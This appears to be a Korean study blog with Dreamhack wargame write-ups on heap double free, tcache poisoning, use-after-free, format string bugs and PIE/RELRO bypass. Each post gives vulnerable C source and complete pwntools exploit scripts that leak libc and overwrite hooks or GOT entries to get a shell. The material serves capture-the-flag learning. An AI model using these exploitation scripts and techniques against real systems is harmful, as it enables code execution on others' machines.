gook_bob

[드림핵-시스템] Double Free Bug

Sun, 02 Feb 2025 07:07:20 GMT

1. Double Free Bug

같은 청크를 두번 해제할 수 있는 버그

Free list 관점에서 Free는 청크 추가하는 함수, malloc은 청크를 꺼내는 함수
- 임의의 청크에 대해 Free를 두번 이상 적용할 수 있다 : 같은 청크를 free list에 여러번 추가 가능하다는 뜻
- duplicated chunk 존재시, duplicated free list 이용해 주소에 청크 할당 가능
DFB 이용시 Duplicated Free list 만드는것 가능 - 청크와 연결리스트의 구조 때문 3, fd, bk 값 저장하는 공간은 할당된 청크에서 데이터를 저장하는데 사용됨 - Free list에 중복해서 포함된다면, 첫번째 재할당에서 fd,bk 조작해 Free list에 임의 주소 포함 가능

1-1 정적 패치 분석

tcache_entry : double free 탐지 위해 key pointer가 tcache_entry에 추가됨
- tcache_entry는 해제된 tcache 청크들이 갖는 구조
- fd가 next로 대체, LIFO 형태로 사용되므로 bk에 대응되는 값은 없다
tcache_put : 해제한 청크를 tcache에 추가하는 함수
- 해제되는 청크의 keydp Tcache라는 값을 대입하도록 변경됨
- tcache는 tcache_perthread라는 구조체 변수 가짐
tcache_get : tcache에 연결된 청크 재사용할때 사용하는 함수
- 재사용하는 청크의 key값에 NULL 대입하도록 변경됨
_int_free : 청크 해제시 호출되는 함수
- 재할당하려는 청크의 key값이 tcach이면 double free 발생했다고 보고 프로그램 abort

1-2동적 분석

set $chunk={tcache_entry*)0x~ : chunk 변수로 정의
이후 처크 해제할때까지 실행 후 메모리 출력시 Key값이 변경된 것을 확인 가능
- tcache_parthread에 tcache들 저장되기 때문
위의 key값을 변경하지 않고 Free 재호출시 abort
- if(__glibc_unlikely (e -> key ==tcache))만 통과하면 Tcache 청크 double free 가능
해제된 청크의 Key값을 1비트만이라도 바꾼다면 우회가능

2. tcache_poison

해당 문제는 Exploit tech를 보며 작성함

2-1 동적 분석

plan

제목이 tcache_poison이기 때문에 tcache 관련 문제
gdb를 통해 heap, bins를 확인
checksec를 통해 보호기법 확인 후 exploit plan 계획

checksec

NO PIE -> double free를 이용해서 특정 GOT주소를 overwrite하면 될것 같음
로컬에서 해당 문제 접근시 문제 의도와 다른 동작 -> Docker file을 이용해서 풀것

2-2 정적 분석

tcache_posion.c

#include 
#include 
#include 

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
 r     default:
        break;
    }
  }

  return 0;
}

chunk NULL로 초기화 하지 않으므로 Dangling pointer
Tcache poison 통해 double free 우회
- alloc -> free -> edit -> free 시 가능
이후 onegadget을 이용해 exploit
- libc base 알아야함

Exploit plan

Tcache Poisoning
Libc leak
- setvbuf - 인자로 stdin, stdout 전달
  - libc 내부의 IO_2_1_stdin, IO_2_1_stdout을 가리킴
  - 위 포인터들은 전역 변수 : .bss 위치 -> PIE X -> 포인터들의 주소는 고정
Hook oerwrite to get shell
- __free_hook의 주소 계산 후 oneg_gadget overwrite 이후 free 호출

2-3 exploit code

# Name: tcache_poison.py
from pwn import *

p = remote("host1.dreamhack.games", 20015)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

def alloc(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')

def edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty

# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()

# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A -> ...
edit(b'B'*8 + b'\x00')
free()

# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')

# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`

print_chunk()
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432

slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)

# Overwrite the `__free_hook` with the address of one-gadget

# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty

# tcache[0x50]: chunk B
alloc(0x40, b'dreamhack') # chunk B
free()

# tcache[0x50]: chunk B -> chunk B -> ...
edit(b'C'*8 + b'\x00')
free()

# tcache[0x50]: chunk B -> __free_hook
alloc(0x40, p64(fh))

# tcache[0x50]: __free_hook
alloc(0x40, b'D'*8)

# __free_hook = the address of one-gadget
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()

3. Tcache_dup

3-1 동적 분석

Dokcerfile 빌드 후 이미지 실행 할 것

create, delete 기능 있음
- index를 기준으로 free함
double free 가능 -> tcache_dup

3-2 정적 분석

// gcc -o tcache_dup tcache_dup.c -no-pie
#include 
#include 
#include 
#include 

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

tcache_poison 보다 쉬운 문제로 double free가 기본적으로 가능함

get_shell()함수가 있기 떄문에 one_gadget 사용 x -> libc base안 구해도됨
- NO PIE 이기 때문

3-3 exploit code

from pwn import *

p = remote("host1.dreamhack.games", 14499)
#r = process("./tcache_dup")
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")
#gdb.attach(r)
def create(size,data):
    p.sendlineafter("> ",b'1')
    p.sendlineafter("Size: ",str(size).encode())
    p.sendafter("Data: ",data)

def delete(idx):
    p.sendlineafter("> ",b'2')
    p.sendlineafter("idx: ",str(idx).encode())

getshell = e.symbols['get_shell']
success("getshell: "+hex(getshell))

free_got = e.got['free']
success("free_got: "+hex(free_got))

#tcache_dup
#tcache[0x40]: A
create(0x30,b'A')
delete(0)

#tcache[0x40]: A -> A
delete(0)

# tcache[0x40]: A -> free_got
create(0x30, p64(free_got))

# tcache[0x40]: free_got
create(0x30, b'B')

#tcache[0x40]: 
create(0x30, p64(getshell))

delete(0)

p.interactive()

4. tcache_dup2

Partial RELRO
NO PIE

4-1 정적 분석

#include 
#include 
#include 
#include 

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}

create 2번 -> free -> edit -> free => tcache_dup 가능
- malloc 2번해야하는 이유 : 참조
  - 충분한 tc_idx 할당하기 위해
tcache_dup과 같은 식으로 exploit code 작성하면 될듯

4-2 exploit code

from pwn import *

p = remote("host1.dreamhack.games", 10854)
e = ELF("./tcache_dup2")
libc = ELF("./libc-2.30.so")

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))

def create(size, data):
    p.sendlineafter("> ", b"1")
    p.sendlineafter("Size: ", str(size).encode()) 
    p.sendlineafter("Data: ", data)

def modify(idx, size, data):
    p.sendlineafter("> ", b"2")
    p.sendlineafter("idx: ", idx)
    p.sendlineafter("Size: ", str(size).encode())
    p.sendlineafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", b"3")
    p.sendlineafter("idx: ", idx)

create(0x10, b"A"*8)
create(0x10, b'B'*8)
delete(b'0')
delete(b'1')
modify(b"1", 0x10, b"C"*8 + b'\x00')
delete(b'1')

getshell = e.sym['get_shell']
puts = e.got['printf']

create(0x10, p64(puts))
create(0x10, b'C'*8)
create(0x10, p64(getshell))

p.interactive()

[드림핵-시스템] Memory Corruption : Use After Free

Wed, 22 Jan 2025 06:53:06 GMT

1. ptmalloc2

어떤 메모리 해제되면 해제된 메모리의 특징을 기억하고 있다가 메모리의 할당 요청이 발생하면 이를 빠르게 반환해줌
- 메모리의 할당속도 높이고, 불필요한 메모리 사용을 막을 수 있다.

1-1 구현 목표

메모리의 효율적인 관리

메모리 낭비 방지
빠른 메모리 재사용
메모리 단편화 방지

1. 메모리 낭비 방지

동적 할당, 해제는 매우 빈번하게 일어난다. 하지만 전체 메모리는 한정적이기 때문에 새로운 메모리 공간을 무한히 할당하는 것은 불가능
ptmalloc은 메모리 할당 요청 발생시 먼저 해제된 메모리 공간 중 재사용 가능한 공간 있는지 탐색
해제된 메모리 공간중 요청된 크기와 같은 크기 공간 있다면 그대로 재사용
작은 크기 할당 요청시 : 해제된 메모리 공간 중 매우 큰 공간 있으면 그 영역 나눠 주기도 함

2. 빠른 메모리 재사용

OS가 프로세스에게 제공해주는 가상 메모리 공간은 매우 넓다.
- 특정 메모리 공간 해제한 이후 빠르게 재사용하려면 해당 주소 기억해야함
- ptmmalloc은 해제시 tcache 또는 bin이라는 연결리스트에 해제된 공간 정보 저장
tcache, bin 은 여러개 정의되어 있다. (서로 다른 메모리 공간들 저장)
- 특정 크기 할당 요청 발생시, 그 크기와 관련된 저장소만 탐색

3. 메모리 단편화 방지

단편화 : 전체메모리 공간이 여러 데이터들에 의해 부분적으로 점유되며 나타나는 현상
- 단편화 심해질 수록 각 데이터 사이에 공간 많아져 메모리 사용의 효율 감소

내부 단편화(Internal Fragmentation)
- 할당한 메모리 공간 크기 > 실제 데이터 점유하는 공간
외부 단편화(External Fragmentation)
- 할당한 메모리 공간들 사이에 공간이 많아서 발생하는 비효율

ptmall은 단편화 줄이기 위해 정렬, 병합, 분할 사용

64비트 ptmlloc은 메모리 공간 16바이트 단위로 할당
- 4바이트 요청시 16할당, 17바이트 요청시 32바이트 할당
- 외부 단편화 감소 / 내부 단편화 발생 가능성
공간 정렬하지 않고 프로세스가 요청하는 만큼 할당할 수 있다면 모든 데이터 연속적으로 할당되어 외부 단편화 최소화 가능
- 공간 해제하고 재사용시 정확히 같은 크기의 할당 요청 발생할 확률보다 비슷한 크기의 요청 발생할 확률이 높다
- 비슷한 크기의 요청에 대해서는 모두 같은 크기의 공간 반환해야 해제된 청크들의 재사용률 높이고, 외부 단편화 줄일 수 있다.

1-2 ptmlloc의 객체

chunck, bin, tcache, arena를 주요 객체로 사용

2. chunck

Ptmalloc이 할당한 메모리 공간

헤더와 데이터로 구성

헤더 : 청크 관리에 필요한 정보
- prev_size(8) : 인접한 직전 청크의 크기, 청크 병합시 직전 청크 찾는데 사용
- size(8) : 현재 청크의 크기, 헤더의 크기 포함 (64비트 기준 16바이트) 사용자 요청한 크기 정렬하고 + 16바이트 더한값(헤더)
- flags(3) : 16 바이트 단위로 할당, Size의 하위 4비트는 의미를 가지지 않기 때문에 하위 3비트에 청크 관리에 필요한 플래그 값으로 사용
  - A : allocate arena
  - M : mmap'd
  - P : prev-in-use : 직전 청크 사용 중인지, 병합 필요한지 판단
- fd(8) : 연결리스트에서 다음 청크 가리킴, free 된 청크에만 존재
- bk(8) : 연결리스트에서 이전 청크 가리킴, free 된 청크에만
데이터 영역 : 사용자가 입력한 데이터 저장

3. bin

사용 끝난 청크들 저장되는 객체, 메모리의 낭비 막고 해제된 청크 빠르게 재사용 가능

ptmalloc에는 128개의 bin정의됨
- smallbin(62)
- largebin(63)
- unsorted bin(1)
- 나머지 1개는 사용 x
3-1 small bin
32이상 1024 바이트 미만의 크기 갖는 청크들 보관

하나의 smallbin에는 같은 크기의 청크들만 보관되며 index 증가하면 저장되는 청크들의 크기는 16바이트씩 커짐
- smallbin[0] : 32byte 크기의 청크
- smallbin[64] : 1008 크기 청크
원형 이중 연결 리스트, 먼저 해제된 청크가 먼저 재할당(FIFO)
unlink : 청크 추가하거나 꺼낼대 고리 끊는 과정
consolidation : 병합

3-2 fastbin

일반적으로 크기가 작은 청크들 큰 청크들보다 빈번하게 할당 해제
- 작은 청크들의 할당 해제 효율적으로 하는게 전체적인 효율성 측면에서 중요

ptmalloc은 크기를 정해두고 이보다 작은 청크는 Fastbin에 저장한다. 이들을 관리할때는 메모리 단편화보다 속도를 조금 더 우선순위에 둔다는 의미
32 ~ 176 바이트 크기의 청크들 보관
- 리눅스는 32 ~ 128바이트 청크들 fastbin에 저장
단일 연결리스트
- unlink 없다
- LIFO 사용 : 속도 빠르지만 다른 방법에 비해 파편화 심함
- fastbin에 저장되는 청크들은 서로 병합 x, 청크 간 병합에 사용되는 연산 아낌

3-3 largebin

1024바이트 이상의 크기 갖는 청크들 보관

다양한 크기 갖는 청크들 관리
- largebin[0] : 1024 이상, 1088 미만 ...
그 안에서 크기 가장 비슷한 청크(best-fit) 꺼내 재할당
내림차순으로 정렬하여 위 과정 빠르게 한다
이중 연결 리스트
unlink 동반

3-4 unsortedbin

분류되지 않은 청크들
하나만 존재, fastbin에 들어가지 않는 모든 청크들 해제되었을 때 크기 구분하지 않고 unsortedbin에 저장
이중 연결리스트이며 내부적 정렬 x

청크 할당 탐색 순서

ptmalloc은 청크 할당 요청시 fastbin, smallbin 먼저 탐색
범위 외의 청크의 경우 unsortedbin 먼저 탐색후 largebin 탐색

fastbin, smallbin > unsortedbin > largebin

4. ARENA

위의 bin등의 정보 모두 담고 있는 객체

멀티 쓰레드 환경에서 ptmalloc은 레이스 컨디션 막기 위해 arena 접근시 arena에 락 적용
- 레이스 컨디션 막을 순 있지만, 병목현상 발생 가능성
ptmalloc은 64개의 arena 생성 가능, arena lock 걸린 경우 new arena 만들어 이를 피함

5. tcache

Tread local cache

각 스레드 독립적으로 할당되는 캐시 저장소
- 각 쓰레드 64개의 tcache가짐
LIFO 방식의 단일 연결리스트
하나의 tcahce에 보관가능한 청크 갯수 7개 제한
- tcache에 들어간 청크들은 병합되지 않는다
32 ~ 1040 이하 크기 갖는 청크 보관
- 해당 바이트 내 청크들은 할당 및 해제시 tcache를 가장 먼저 조회
- tcache 가득찬 경우 bin으로 분류

tcache는 각 쓰레드가 고유하게 갖는 캐시이기 때문에 ptmalloc은 레이스 컨디션 고려하지 않고 이 캐시에 접근 가능
- arena의 bin에 접근하기 전에 tcache 먼저 사용하므로 arena에서 발생할 수 있는 병목 현상 완화 효과

6. Use After Free

메모리 참조에 사용한 포인터를 해제 후에 적절히 초기화하지 않아서 또는 해제한 메모리를 초기화하지 않고 다음 청크에 재할당해주면서 발생하는 취약점

6-1 Dangling Pointer

유효하지 않은 메모리 영역 가리키는 포인터

malloc : 할당한 메모리의 주소 반환
- 일반적으로 동적할당시 포인터 선언하고 그 포인터에 malloc함수가 할당한 메모리의 주소 저장, 포인터 참조해 할당한 메모리에 접근
free : 청크를 ptmalloc에 반환하기만 할 분 청크의 주소 담고 있던 포인터 초기화하지 않는다
- 포인터 초기화하지 않으면, 포인터는 해제된 청크 가리키는 Dangling Pointer됨
청크 해제후 변수 초기화하지 않을 시 해당 변수는 해제된 청크의 주소를 가리키고 있으므로 다시 해제가능 - Double Free Bug : 프로그램에 심각한 위협이 되는 SW 취약점

6-2 UAF

해제된 메모리에 접근할 수 있을때 발생하는 취약점

Dangling Pointer
새롭게 할당한 영역 초기화하지 않고 사용시
malloc, free 함수 할당, 해제시 메모리의 데이터들 초기화 x
- 새롭게 할당한 청크를 프로그래머가 명시적으로 초기화하지 않으면, 메모리에 남아있던 데이터 유출되거나 사용가능

6-3 Code 분석

모든 보호기법 적용 확인

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include 
#include 
#include 
#include 

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

custom_func 함수에서 포인터 값에 NULL을 주지 않음으로 Dangling Pointer 발생
- unsortedbin에 저장하기 위해 1024바이트 이상의 사이즈 입력
- fereed chunk를 이용해 bk, fd 주소를 알아내어 libc base를 알아낸다
Human, Robot struct 사이즈가 같음
- human age 변수에 one_gadget이용한 주소를 적으면 pointer 함수가 overwrite 되므로 쉘 획득 가능

6-4 exploit code

from pwn import *

p = remote("host1.dreamhack.games", 16192)
l = ELF('./libc-2.27.so')
arena_offset = l.sym['__malloc_hook'] + 0x10

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', 100)
custom(0x500, b'AAAA', 100)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', 100) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

slog("main_arena", arena_offset)

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb +  0x10a41c# 제약 조건을 만족하는 원 가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")

p.interactive()

[드림핵-시스템] Memory Corruption : Format String Bug

Thu, 16 Jan 2025 08:22:22 GMT

1. Format String

%[parameter][flags][width][.precision][length][specifier]
형식 지정자
- d : 부호 있는 10진수 정수
- u : 부호 없는 10진수 정수
- s : 문자열
- x : 부호 없는 16진수 정수
- n : 해당하는 위치의 인자에 현재까지 사용된 문자열의 길이 저장, 값 출력 x
- p : void형 포인터

1-1 Format String Bug

사용자가 직접 입력할 수 있을때, 공격자는 레지스터, 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기 가능
- printf("%d", num) : FSB 불가능
- printf(num) : FSB 가능
- printf 인자 개수를 확인하지 않아 생김, 실제로 인자 넘어오지 않았음에도 호출 규약에 따라 참조하기 때문에 가능한 공격
64bit : register에 arg 저장하여 함수 호출
- rdi, rsi, rdx, rcx, r8, r9, rsp, rsp + 8, rsp + 16 ....
- %p 통해서 해당 레지스터값 출력 가능
임의 주소 읽기

위에서 언급한 %p를 적극활용
AAAA %p %p %p ... 입력시 AAAA가 어디에 위치해 있는지 알 수 있다. -> offset 찾기 위한 과정

임의 주소 쓰기

%1111c%1$n : 1111 바이트의 문자열을 출력하고, 1번째 offset에 그 바이트를 16진수로 저장
%n : 4byte 저장
%hn : 2byte
%hhn : 1byte

변조해야하는 값이 큰 경우
- 해당 부분을 2부분으로 나눈다 (high, low -> 4바이트의 경우 2바이트 / 2바이트로 나뉘게됨)

2. fsb_overwrite

2-1 code 분석

checksec fsb_overwrite

x64
canary 없다

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];

  setbuf(stdout, NULL);

  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

bof 불가능
무한 루프 -> 특정 주소 leak 가능
changeme 주소 구하기 위한 Libc base 구하는 작업 필수
- changeme variable is non initialized globa variable : symbols 통해서 추적 가능
  - printf가 시작하기전에 gdb 통해서 main함수가 rsp 어디에 저장되는지 checking

checking main

0x58 위치에 저장된 것 확인 가능
vmmap 통해서 codesection start 지점확인
0x1293 차이나는 것 확인가능
- binary실행 환경이나 PIE등의 조건때문에 address는 달라짐
- offset distance는 일정하게 유지됨

first Loop에서 main의 주소를 가져오고 0x1293을 빼준다
- libc base = main - 0x1293
e.sym['changeme'] 통해서 변수 주소 가져온 후 libc base 더해줌
- change_addr = e.sym['changeme'] + libc base
이후 저절한 payload 작성

2-2 exploit code

from pwn import *

p = remote("host1.dreamhack.games", 12431)
e = ELF("./fsb_overwrite")


# gdb 통해서 파악한 이후 해당 코드 작성할 것
# 1. 메인 안의 Printf 함수 호출하는 줄에 breakpoint를 건다
# 2. x/30xg $rsp 를 통해 code section 안을 참조하는 부분이 어디인지 파악
# vmmap을 통해서 확인가능 0x555555....으로 시작할 것
# 찾은 주소와 start 주소를 뺀다 -> libc base

# $rsp + 0x58에 위치해 있다 -> get the address of the 17th offset 
# 원격서버에서는 + 0x48에 위치..?
p.sendline(b"%15$p") 
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + e.sym['changeme']

# %1337c%8 - rsp
# $nAAAAAA - rsp + 8
# addr of changeme - rsp + 16
# %8$n -> 8번째 arg에 바이트크기를 저장해라 
# 8th arg is rsp + 16
payload = b"%1337c" + b"%8$n" + b'A'*6 + p64(changeme)
p.sendline(payload)
p.interactive()

주석을 통해서 각각의 Payload가 어떤 역할 하는지 확인 가능
local 과 remote 간의 offset 차이 존재하기때문에 Dockerfile 통해서 미리 확인해볼 것
- 나는 AAAA 이후 %p 를 20개 정도 적으며 체크해봄

3. baisc_002

3-1 code 분석

checksec basic_002

basic_002.c

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

exit 함수를 get_shell 함수로 overwrite 하면 될듯
pwntool중에 Overwirte 편하게 해주는 함수 발견
- fmtstr_payload(offset, {changed addr : changing addr})

2-2 exploit code

from pwn import *

p = remote("host3.dreamhack.games", 20226)
e = ELF("./basic_002")

exit_plt = e.got['exit']
get_shell = e.sym['get_shell']

payload = fmtstr_payload(1, {exit_plt : get_shell})
p.sendline(payload)
p.interactive()

3. basic_003

3-1 code 분석

checksec basic_003

basic_003.c

void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

canary 없기때문에 Overflow로 ret addr overwrite 하면될 듯
gdb 통해서 buf2rbp 값 구하기
- 0x98 + 4 = 156(buf2ret)

3-2 exploit code

p = remote("host1.dreamhack.games", 20589)
e = ELF("./basic_003")

get_shell = e.sym['get_shell']

payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()

[드림핵-시스템]Bypass PIE & RELRO

Sat, 11 Jan 2025 07:22:15 GMT

1. PIC

Position-Independent Code
- 메모리의 어느 주소에 적재되어도 코드의 의미가 훼손되지 않음을 의미

ELF는 실행파일, 공유 오브젝트 2가지가 존재한다.

공유 오브젝트 : libc.so 와 같은 라이브러리
- 기본적으로 재배치가 가능하도록 설계됨
PIC 적용 X : 절대주소 참조
PIC 적용 O : 상대주소 참조

2. PIE

Position-Independent Executable
- 무작위 주소에 매핑되어도 실행 가능한 실행 파일을 의미
- ASLR도입으로 실행 파일도 무작위 주소에 매핑될 수 있게 하려했지만 파일 형식 변경시 호환성 문제가 발생함 -> 원래 재배치가 가능했던 공유 오브젝트를 실행 파일로 사용하기로 함

2-1 PIE on ASLR

PIE 재배치 가능 : ASLR 적용된 시스템에서는 실행 파일도 무작위 주소에 적재됨 -> PIE 적용시 main 매 실행마다 바뀜
- 적용되지 않은 시스템 : PIE 적용된 바이너리라도 무작위 주소에 적재되지 않는다.

2-2 PIE 우회

코드 베이스 구하기
- 무작위 주소에 매핑되므로 코드 영역의 가젯 / 데이터 영역에 접근 위해서는 바이너리가 적재된 주소 알아야함 이 주소를 PIE 베이스, 코드 베이스라고 부름
- 코드 베이스 계산 : 코드 영역의 임의주소 읽고 그 주소에서 오프셋 빼야함(ROP)와 유사
Partial Overwrite
- 코드 베이스 구하기 어려운 경우 반환 주소의 일부 바이트만 덮는 공격 고려해 볼 수 있다.
- ASLR 특성 상, 코드 영역의 주소도 하위 12비트 값은 항상 같다. 따라서 사용하려는 코드 가젯의 주소가 반환 주소와 하위 반 바이트만 다르다면, 이 값만 덮어서 원하는 코드 실행이 가능
  - 그러나 2bytes 이상이 다른 주소로 실행 흐름을 옮기고자 한다면, ASLR로 뒤섞이는 주소 맞춰야하므로 브루트 포싱이 필요 - 공격 확률에 따라 성공

3. RELRO

RELocationRead-Only : 데이터 세그먼트 보호기법
- 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한 제거
- Lazy Binding : 함수가 처음 호출될 때 함수의 주소를 구하고, 이를 GOT에 적는 행위 - GOT에 쓰기 권한이 있어야함

3-1 RELRO 우회

Partial RELRO
- .init_array, .final_array, .got 영역에는 쓰기 권한 제거
- .got.plt 영역에 대한 쓰기 권한 존재 : GOT Overwrite 공격 활용가능
Full RELRO
- 위의 언급된 모든 영역에 쓰기 권한 제거
- 라이브러리에 위치한 hook 쓰기 가능 (malloc_hook, free_hook...등)
  - 동적 메모리의 할당, 해제 과정에서 발생하는 버그 디버깅 쉽게 하려고 만들어짐
- Hook Overwrite
  - 함수 시작 부분에서 __malloc_hook 존재하는지 검사, 존재하면 호출
  - _malloc_hook : libc.so에서 쓰기 가능한 영역에 위치
  - 공격자 : libc 매핑된 주소 알 때, 이 변수 조작하고 malloc 호출해 실행 흐름 조작 가능

hooking

운영체제가 어떤 코드 실행하려 할때, 이를 낚아채어 다른 코드가 실행되게 하는것, 실행되는 코드 : Hook
malloc, free에 훅 설치시 소프트웨어에서 할당, 해제하는 메모리 모니터링 가능

Hook Overwrite

훅의 특징 이용한 공격 기법
Glibc 2.33 이하 버전에서 libc 데이터 영역에는 malloc(), free() 호출시 HOOK 함수 포인터 형태로 존재
